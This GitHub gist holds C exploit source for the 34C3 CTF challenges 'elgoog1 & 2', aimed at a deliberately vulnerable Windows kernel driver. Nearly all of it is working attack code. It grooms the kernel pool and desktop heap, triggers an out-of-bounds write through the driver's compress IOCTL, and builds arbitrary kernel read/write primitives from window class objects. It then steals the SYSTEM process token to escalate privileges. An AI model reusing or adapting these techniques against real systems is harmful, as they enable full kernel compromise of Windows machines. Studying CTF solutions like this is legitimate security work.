34c3ctf elgoog1 & 2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
#include <Windows.h> | |
#include <cstdlib> | |
#include <cstring> | |
#include <cassert> | |
//#define _DEBUG | |
#ifdef _DEBUG | |
#define dbgprintf printf | |
#define dbgputs puts | |
#define dbggetchar getchar | |
#else | |
#define dbgprintf(...) | |
#define dbgputs(x) | |
#define dbggetchar() | |
#endif | |
////////////////////////////////////////////////////////////////////////////////////////////// | |
// NT Kernel Defs | |
////////////////////////////////////////////////////////////////////////////////////////////// | |
typedef LONG NTSTATUS; | |
typedef struct _UNICODE_STRING { | |
USHORT Length; | |
USHORT MaximumLength; | |
#ifdef MIDL_PASS | |
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT * Buffer; | |
#else // MIDL_PASS | |
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; | |
#endif // MIDL_PASS | |
} UNICODE_STRING; | |
typedef UNICODE_STRING *PUNICODE_STRING; | |
typedef struct _OBJECT_ATTRIBUTES { | |
ULONG Length; | |
HANDLE RootDirectory; | |
PUNICODE_STRING ObjectName; | |
ULONG Attributes; | |
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR | |
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE | |
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; | |
#define NT_SUCCESS(s) ((s) >= 0) | |
#define OBJ_INHERIT 0x00000002L | |
#define OBJ_PERMANENT 0x00000010L | |
#define OBJ_EXCLUSIVE 0x00000020L | |
#define OBJ_CASE_INSENSITIVE 0x00000040L | |
#define OBJ_OPENIF 0x00000080L | |
#define OBJ_OPENLINK 0x00000100L | |
#define OBJ_KERNEL_HANDLE 0x00000200L | |
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L | |
#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800L | |
#define OBJ_DONT_REPARSE 0x00001000L | |
#define OBJ_VALID_ATTRIBUTES 0x00001FF2L | |
typedef enum _EVENT_TYPE { | |
NotificationEvent, | |
SynchronizationEvent | |
} EVENT_TYPE; | |
typedef NTSTATUS(__stdcall *pNtCreateEvent)(__out PHANDLE EventHandle, | |
__in ACCESS_MASK DesiredAccess, | |
__in_opt POBJECT_ATTRIBUTES ObjectAttributes, | |
__in EVENT_TYPE EventType, | |
__in BOOLEAN InitialState | |
); | |
typedef NTSTATUS | |
(__stdcall *pNtAllocateVirtualMemory)( | |
__in HANDLE ProcessHandle, | |
__inout PVOID *BaseAddress, | |
__in ULONG_PTR ZeroBits, | |
__inout PSIZE_T RegionSize, | |
__in ULONG AllocationType, | |
__in ULONG Protect | |
); | |
typedef NTSTATUS(__stdcall *pNtQuerySystemInformation)( | |
_In_ ULONG SystemInformationClass, | |
_Inout_ PVOID SystemInformation, | |
_In_ ULONG SystemInformationLength, | |
_Out_opt_ PULONG ReturnLength | |
); | |
typedef struct _RTL_PROCESS_MODULE_INFORMATION { | |
ULONG Section; | |
PVOID MappedBase; | |
PVOID ImageBase; | |
ULONG ImageSize; | |
ULONG Flags; | |
USHORT LoadOrderIndex; | |
USHORT InitOrderIndex; | |
USHORT LoadCount; | |
USHORT OffsetToFileName; | |
CHAR FullPathName[256]; | |
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; | |
typedef struct _RTL_PROCESS_MODULES { | |
ULONG NumberOfModules; | |
RTL_PROCESS_MODULE_INFORMATION Modules[1]; | |
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; | |
typedef struct _LARGE_UNICODE_STRING | |
{ | |
ULONG Length; | |
unsigned __int32 MaximumLength : 31; | |
unsigned __int32 bAnsi : 1; | |
PWSTR Buffer; | |
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING; | |
typedef BOOL(__stdcall *pNtUserDefSetText)( | |
HWND hwnd, | |
PLARGE_UNICODE_STRING text | |
); | |
typedef int(__stdcall *pNtUserInternalGetWindowText)( | |
HWND hwnd, | |
LPWSTR buffer, | |
int nMaxCount | |
); | |
pNtCreateEvent NtCreateEvent = NULL; | |
pNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; | |
pNtQuerySystemInformation NtQuerySystemInformation = NULL; | |
pNtUserDefSetText NtUserDefSetText = NULL; | |
ULONG_PTR MmUserProbeAddress = 0; | |
pNtUserInternalGetWindowText NtUserInternalGetWindowText = NULL; | |
////////////////////////////////////////////////////////////////////////////////////////////// | |
// Driver IOCTL | |
////////////////////////////////////////////////////////////////////////////////////////////// | |
#define EG_CREATE_INDEX 0x222000 | |
#define EG_CLOSE_INDEX 0x222004 | |
#define EG_ADD_TO_INDEX 0x222008 | |
#define EG_COMPRESS_INDEX 0x22200C | |
typedef ULONGLONG EG_HANDLE; | |
HANDLE g_Device = INVALID_HANDLE_VALUE; | |
#define ON_FAILURE(cond, prompt) if(!(cond)) { dbgprintf("%s %d\n", prompt, GetLastError()); _exit(-1); } | |
#pragma pack(push,1) | |
typedef struct _eg_adddoc_t { | |
EG_HANDLE handle; | |
DWORD doc_id; | |
UCHAR data[0]; | |
} eg_adddoc_t; | |
#pragma pack(pop) | |
void* halloc(SIZE_T size) | |
{ | |
return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size); | |
} | |
BOOL hfree(void* chunk) | |
{ | |
return HeapFree(GetProcessHeap(), 0, chunk); | |
} | |
EG_HANDLE EgCreateHandle(void) | |
{ | |
EG_HANDLE result = 0; | |
DWORD retlen; | |
BOOL ret = DeviceIoControl(g_Device, EG_CREATE_INDEX, &result, sizeof(result), &result, sizeof(result), &retlen, NULL); | |
if (!ret) { | |
return -1; | |
} | |
return result; | |
} | |
BOOL EgCloseHandle(EG_HANDLE handle) | |
{ | |
DWORD retlen; | |
return DeviceIoControl(g_Device, EG_CLOSE_INDEX, &handle, sizeof(handle), &handle, sizeof(handle), &retlen, NULL); | |
} | |
BOOL EgAddDoc(EG_HANDLE handle, DWORD doc_id, UCHAR* data, ULONG datalen) | |
{ | |
DWORD retlen; | |
BOOL ret; | |
eg_adddoc_t* ptr; | |
SIZE_T size; | |
size = datalen + sizeof(eg_adddoc_t); | |
ptr = (eg_adddoc_t*)halloc(size); | |
ptr->handle = handle; | |
ptr->doc_id = doc_id; | |
memcpy(ptr->data, data, datalen); | |
ret = DeviceIoControl(g_Device, EG_ADD_TO_INDEX, ptr, size, ptr, size, &retlen, NULL); | |
hfree(ptr); | |
return ret; | |
} | |
EG_HANDLE EgCompress(EG_HANDLE handle) | |
{ | |
DWORD retlen; | |
BOOL ret; | |
EG_HANDLE value = handle; | |
ret = DeviceIoControl(g_Device, EG_COMPRESS_INDEX, &value, sizeof(EG_HANDLE), &value, sizeof(EG_HANDLE), &retlen, NULL); | |
if (!ret) { | |
value = -1; | |
} | |
return value; | |
} | |
struct _ii_posting_list | |
{ | |
char token[16]; | |
unsigned __int64 size; | |
unsigned __int64 capacity; | |
unsigned int data[1]; | |
}; | |
struct _ii_token_table | |
{ | |
unsigned __int64 size; | |
unsigned __int64 capacity; | |
_ii_posting_list *slots[1]; | |
}; | |
struct _inverted_index | |
{ | |
int compressed; | |
_ii_token_table *table; | |
}; | |
////////////////////////////////////////////////////////////////////////////////////////////// | |
// Utils | |
////////////////////////////////////////////////////////////////////////////////////////////// | |
ULONG_PTR GetKernelModuleAddress(CHAR* name) | |
{ | |
NTSTATUS s; | |
ULONG retlen = 0; | |
PRTL_PROCESS_MODULES pmod; | |
s = NtQuerySystemInformation(11, NULL, 0, &retlen); | |
pmod = (PRTL_PROCESS_MODULES)halloc(retlen); | |
if (!pmod) { return -1; } | |
s = NtQuerySystemInformation(11, pmod, retlen, &retlen); | |
if (NT_SUCCESS(s)) { | |
for (ULONG i = 0; i < pmod->NumberOfModules; i++) { | |
if (strcmp(name, pmod->Modules[i].FullPathName + pmod->Modules[i].OffsetToFileName) == 0) { | |
return (ULONG_PTR)pmod->Modules[i].ImageBase; | |
} | |
} | |
} | |
return -1; | |
} | |
HANDLE PushToPagedPool(UCHAR* Data, SIZE_T Length) | |
{ | |
/* use unicode string for kernel paged pool shaping */ | |
if (!NtCreateEvent) abort(); | |
assert((Length % 2) == 0); | |
HANDLE result = NULL; | |
result = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)Data); | |
return result; | |
} | |
ULONG_PTR GetKernelExportedSymbolOffset(char* name) | |
{ | |
static HMODULE kmod = NULL; | |
if (!kmod) { | |
kmod = LoadLibraryEx(TEXT("ntoskrnl.exe"), NULL, DONT_RESOLVE_DLL_REFERENCES); | |
} | |
return (ULONG_PTR)GetProcAddress(kmod, name) - (ULONG_PTR)kmod; | |
} | |
////////////////////////////////////////////////////////////////////////////////////////////// | |
// main | |
////////////////////////////////////////////////////////////////////////////////////////////// | |
#define MAX_FENGSHUI 2000 | |
HANDLE events[MAX_FENGSHUI]; | |
ULONG_PTR kernel, desktop_heap, kernel_dheap; | |
ULONG_PTR addrs[10], clsobjaddr[10]; | |
HWND exploit_primitive[10], arw_primitive = NULL; | |
int ida = -1, idb = -1, idc = -1; | |
// https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf | |
ULONG_PTR FindDesktopHeapObject(ULONG_PTR Handle) | |
{ | |
PULONG_PTR p = (PULONG_PTR)desktop_heap; | |
int i = 0; | |
while (1) { | |
if (p[i] == Handle) { | |
return kernel_dheap + sizeof(ULONG_PTR) * i; | |
} | |
i++; | |
} | |
} | |
void qworddump(void* buf, int size, ULONG64 base) { | |
for (int i = 0; i < size; i += 0x10) { | |
dbgprintf("%08llx: ", base + i); | |
for (int j = 0; j < 0x10 && (i + j) < size; j += 8) | |
dbgprintf("%016x ", ((PULONG64)buf)[(i + j) / 8]); | |
dbgputs(""); | |
} | |
} | |
BOOL ArbitraryRead8(ULONG_PTR Address, PULONG_PTR Buffer) | |
{ | |
int index = (addrs[idc] + 0x18 - (clsobjaddr[ida] + 0xb0)); | |
ULONG_PTR original_heap = *(PULONG_PTR)(addrs[ida] + 0x18 - kernel_dheap + desktop_heap); | |
WCHAR ebuffer[0x10]; | |
ULONG_PTR fakeheap = 0x9600000a00; | |
*(PULONG_PTR)(fakeheap + 0x80) = Address - 0x100; | |
*(PULONG_PTR)(fakeheap + 0x88) = 0x200; | |
SetClassLongPtrW(exploit_primitive[ida], index, fakeheap); | |
index = addrs[idc] + 0xE8 - (clsobjaddr[ida] + 0xb0); | |
SetClassLongPtrW(exploit_primitive[ida], index, 0x20 | (0x30uLL << 32)); | |
index = addrs[idc] + 240 - (clsobjaddr[ida] + 0xb0); | |
SetClassLongPtrW(exploit_primitive[ida], index, Address); | |
NtUserInternalGetWindowText(exploit_primitive[idc], ebuffer, 0x8); | |
*Buffer = *(PULONG_PTR)ebuffer; | |
index = (addrs[idc] + 0x18 - (clsobjaddr[ida] + 0xb0)); | |
SetClassLongPtrW(exploit_primitive[ida], index, original_heap); // some weird crash... | |
return TRUE; | |
} | |
BOOL ArbitraryWrite8(ULONG_PTR Address, ULONG_PTR Value) | |
{ | |
int index = (addrs[idc] + 0x18 - (clsobjaddr[ida] + 0xb0)); | |
ULONG_PTR original_heap = *(PULONG_PTR)(addrs[ida] + 0x18 - kernel_dheap + desktop_heap); | |
WCHAR ebuffer[0x10]; | |
ULONG_PTR fakeheap = 0x9600000a00; | |
*(PULONG_PTR)(fakeheap + 0x80) = Address - 0x100; | |
*(PULONG_PTR)(fakeheap + 0x88) = 0x200; | |
SetClassLongPtrW(exploit_primitive[ida], index, fakeheap); | |
index = addrs[idc] + 0xE8 - (clsobjaddr[ida] + 0xb0); | |
SetClassLongPtrW(exploit_primitive[ida], index, 0x20 | (0x30uLL << 32)); | |
index = addrs[idc] + 240 - (clsobjaddr[ida] + 0xb0); | |
SetClassLongPtrW(exploit_primitive[ida], index, Address); | |
LARGE_UNICODE_STRING lstr; | |
lstr.Length = 8; | |
lstr.MaximumLength = 0x10; | |
lstr.bAnsi = 0; | |
memset(ebuffer, 0, sizeof(ebuffer)); | |
lstr.Buffer = ebuffer; | |
*(PULONG_PTR)ebuffer = Value; | |
NtUserDefSetText(exploit_primitive[idc], &lstr); | |
index = (addrs[idc] + 0x18 - (clsobjaddr[ida] + 0xb0)); | |
SetClassLongPtrW(exploit_primitive[ida], index, original_heap); // some weird crash... | |
return TRUE; | |
} | |
int main() | |
{ | |
EG_HANDLE handle, newhandle; | |
BOOL ret; | |
UCHAR token[16]; | |
UCHAR buffer[0x1000]; | |
NTSTATUS s; | |
PVOID teb; | |
ULONG_PTR object, clsobj; | |
HMODULE kmod; | |
/* | |
* Initialization | |
*/ | |
LoadLibrary(TEXT("user32.dll")); | |
NtCreateEvent = (pNtCreateEvent)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateEvent"); | |
NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtAllocateVirtualMemory"); | |
NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtQuerySystemInformation"); | |
NtUserDefSetText = (pNtUserDefSetText)GetProcAddress(GetModuleHandle(TEXT("win32u.dll")), "NtUserDefSetText"); // no more NtSyscall :) | |
NtUserInternalGetWindowText = (pNtUserInternalGetWindowText)GetProcAddress(GetModuleHandle(TEXT("win32u.dll")), "NtUserInternalGetWindowText"); | |
if (!NtCreateEvent || !NtAllocateVirtualMemory || !NtQuerySystemInformation || !NtUserDefSetText || !NtUserInternalGetWindowText) { | |
dbgprintf("Initialization failed\n"); | |
return -1; | |
} | |
g_Device = CreateFile(TEXT("\\\\.\\Elgoog"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); | |
if (g_Device == INVALID_HANDLE_VALUE) { | |
dbgprintf("Failed open device, fuck!\n"); | |
return -1; | |
} | |
/* leaking */ | |
teb = NtCurrentTeb(); | |
desktop_heap = *(ULONG_PTR*)((char*)teb + 0x828); | |
if (!desktop_heap) { | |
dbgprintf("desktop heap not found ...\n"); | |
return -1; | |
} | |
dbgprintf("Desktop heap : 0x%llx\n", desktop_heap); | |
kernel_dheap = *(ULONG_PTR*)(desktop_heap + 0x20) & ~0xFFF; | |
dbgprintf("Kernel Desktop heap : 0x%llx\n", kernel_dheap); | |
/* exploit */ | |
HWND hwnds[MAX_FENGSHUI]; | |
WCHAR ClassName[100]; | |
for (int i = 0; i < MAX_FENGSHUI; i++) { | |
WNDCLASSEX cls; | |
wsprintf(ClassName, L"ExploitClass%d", i); | |
cls.cbSize = sizeof(cls); | |
cls.style = 3; | |
cls.lpfnWndProc = DefWindowProc; | |
cls.cbClsExtra = 0x100; | |
cls.cbWndExtra = 0; | |
cls.hInstance = NULL; | |
cls.hCursor = cls.hIcon = cls.hIconSm = NULL; | |
cls.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); | |
cls.lpszMenuName = NULL; | |
cls.lpszClassName = ClassName; | |
RegisterClassEx(&cls); | |
} | |
for (int i = 0; i < MAX_FENGSHUI; i++) { | |
wsprintf(ClassName, L"ExploitClass%d", i); | |
hwnds[i] = CreateWindowEx(0, | |
ClassName, | |
TEXT("Learn to Program Windows"), | |
WS_OVERLAPPEDWINDOW, | |
1, 2, 3, 4, | |
NULL, | |
NULL, | |
GetModuleHandle(NULL), | |
NULL | |
); | |
if (!hwnds[i]) { | |
dbgprintf("Failed fengshui...\n"); | |
_exit(-1); | |
} | |
} | |
for (int i = 0; i < 10; i++) { | |
exploit_primitive[i] = hwnds[MAX_FENGSHUI - 1 - i]; | |
addrs[i] = FindDesktopHeapObject((ULONG_PTR)hwnds[MAX_FENGSHUI - 1 - i]); | |
clsobjaddr[i] = *(PULONG_PTR)(addrs[i] - kernel_dheap + desktop_heap + 0xa8); | |
dbgprintf("Object : 0x%llx, Clsobj : 0x%llx\n", addrs[i], clsobjaddr[i]); | |
} | |
for (int i = 0; i < 10; i++) { | |
if (ida != -1 && idb != -1) break; | |
for (int j = 0; j < 10; j++) { | |
if (clsobjaddr[i] - clsobjaddr[j] == 0x1f0) { // adjacent | |
ida = i; | |
idb = j; | |
break; | |
} | |
} | |
} | |
if (ida == -1 && idb == -1) { | |
dbgprintf("No adjacent blocks...\n"); | |
_exit(-1); | |
} | |
dbgprintf("Chosen %p %p\n", clsobjaddr[ida], clsobjaddr[idb]); | |
SetClassLongPtrW(exploit_primitive[idb], 0x10, 152); | |
//getchar(); | |
handle = EgCreateHandle(); | |
if (handle == -1) { | |
dbgprintf("No handle!\n"); | |
return -1; | |
} | |
// one loop += 18, full size = 0x248 | |
for (int i = 0; i < 0x20; i++) { | |
sprintf((char*)token, "%05d", i); | |
for (int j = 0; j < 5; j++) { | |
token[j] += 'a' - '0'; | |
} | |
ON_FAILURE(EgAddDoc(handle, 0xffff, token, 5), "Failed add doc"); | |
ON_FAILURE(EgAddDoc(handle, 0xffff, token, 5), "Failed add doc"); | |
} | |
ULONG_PTR test = clsobjaddr[idb] + 0xb0; | |
PVOID baseAddr = (PVOID)0x9600000000; | |
SIZE_T regionSize = 0x1000; | |
s = NtAllocateVirtualMemory(GetCurrentProcess(), &baseAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
if (!NT_SUCCESS(s)) { | |
dbgprintf("%x\n", s); | |
_exit(-1); | |
} | |
// 0000009600000088 | |
#define MAGIC 0x0000009600000088 | |
* (ULONG_PTR*)(MAGIC) = 1; | |
*(ULONG_PTR*)(MAGIC + 8) = 1; | |
*(ULONG_PTR*)(MAGIC + 0x10) = test; | |
#define EXP1_SIZE 0x248 | |
memset(buffer, 0, sizeof(buffer)); | |
memset(buffer, 0xcc, EXP1_SIZE); | |
for (int i = 0; i < MAX_FENGSHUI; i++) { | |
sprintf((char*)buffer, "%d", i); | |
for (int j = strlen((char*)buffer); j < 0x20; j++) { | |
buffer[j] = 0xcc; | |
} | |
buffer[EXP1_SIZE] = buffer[EXP1_SIZE + 1] = 0; | |
events[i] = PushToPagedPool(buffer, EXP1_SIZE); | |
ON_FAILURE(events[i], "step1"); | |
} | |
#define FREED 200 | |
for (int i = 0; i < FREED; i++) { | |
CloseHandle(events[i]); | |
} | |
newhandle = EgCompress(handle); | |
if (!newhandle) { | |
dbgprintf("Failed compress\n"); | |
return -1; | |
} | |
// second compress is the crasher | |
EG_HANDLE h2 = EgCompress(newhandle); | |
if (handle == -1) { | |
dbgputs("Compress2 failed\n"); | |
return -1; | |
} | |
#define OOB_RANGE 0x3f3f3f3f | |
SetClassLongPtr(exploit_primitive[idb], 0x10, 102); | |
SetClassLongPtr(exploit_primitive[idb], 0x20, 0x3f3f3f3f3f3f3f3f); | |
*(ULONG_PTR*)(MAGIC) = 1; | |
*(ULONG_PTR*)(MAGIC + 8) = 1; | |
*(ULONG_PTR*)(MAGIC + 0x10) = test; | |
EgCompress(newhandle); | |
SetClassLongPtrW(exploit_primitive[idb], 0x10, 90); | |
SetClassLongPtr(exploit_primitive[idb], 0x20, clsobjaddr[ida] >> 32); | |
*(ULONG_PTR*)(MAGIC) = 1; | |
*(ULONG_PTR*)(MAGIC + 8) = 1; | |
*(ULONG_PTR*)(MAGIC + 0x10) = test; | |
EgCompress(newhandle); | |
SetClassLongPtrW(exploit_primitive[idb], 0x10, 89); | |
SetClassLongPtr(exploit_primitive[idb], 0x20, clsobjaddr[ida] & 0xFFFFFFFF); | |
*(ULONG_PTR*)(MAGIC) = 1; | |
*(ULONG_PTR*)(MAGIC + 8) = 1; | |
*(ULONG_PTR*)(MAGIC + 0x10) = test; | |
EgCompress(newhandle); | |
SetClassLongPtrW(exploit_primitive[ida], 0, 0xdeadbeef); | |
for (int i = 0; i < 10; i++) { | |
if (i == ida || i == idb) continue; | |
if (addrs[i] < (clsobjaddr[ida] + OOB_RANGE) && addrs[i] > (clsobjaddr[ida] + 0xb0)) { | |
arw_primitive = exploit_primitive[i]; | |
idc = i; | |
break; | |
} | |
} | |
if (!arw_primitive) { | |
dbgprintf("No arw primitive installed...\n"); | |
//getchar(); | |
_exit(-1); | |
} | |
// fake desktop heap | |
dbgprintf("aw_primitive: 0x%llx\n", addrs[idc]); | |
ULONG_PTR leak_pti = *(PULONG_PTR)(addrs[idc] - kernel_dheap + desktop_heap + 0x10); | |
dbgprintf("leak_pti : 0x%llx\n", leak_pti); | |
ULONG_PTR ethread; | |
ArbitraryRead8(leak_pti, ðread); | |
dbgprintf("ethread : 0x%llx\n", ethread); | |
ULONG_PTR ntbase; | |
ArbitraryRead8(ethread + 0x2b8, &ntbase); | |
ntbase -= 0x000dacd0; | |
dbgprintf("ntbase : 0x%llx\n", ntbase); | |
dbggetchar(); | |
ULONG_PTR initial_process = GetKernelExportedSymbolOffset("PsInitialSystemProcess") + ntbase; | |
dbgprintf("ip = 0x%llx\n", initial_process); | |
ULONG_PTR current, tk, pid; | |
ArbitraryRead8(initial_process, ¤t); | |
dbgprintf("cur = 0x%llx\n", current); | |
#define PID_OFFSET 0x2e0 | |
#define TOKEN_OFFSET 0x358 | |
#define ACTIVE_LINK_OFFSET 0x2e8 | |
ArbitraryRead8(current + TOKEN_OFFSET, &tk); | |
while (current) { | |
ArbitraryRead8(current + PID_OFFSET, &pid); | |
if (pid == GetCurrentProcessId()) { | |
break; | |
} | |
ArbitraryRead8(current + ACTIVE_LINK_OFFSET, ¤t); | |
current -= ACTIVE_LINK_OFFSET; | |
} | |
ArbitraryWrite8(current + TOKEN_OFFSET, tk); | |
dbgputs("Done!"); | |
//system("cmd"); | |
system("type C:\\token.txt"); | |
//system("cmd"); | |
while (true) { | |
Sleep(1000); | |
} | |
CloseHandle(g_Device); | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment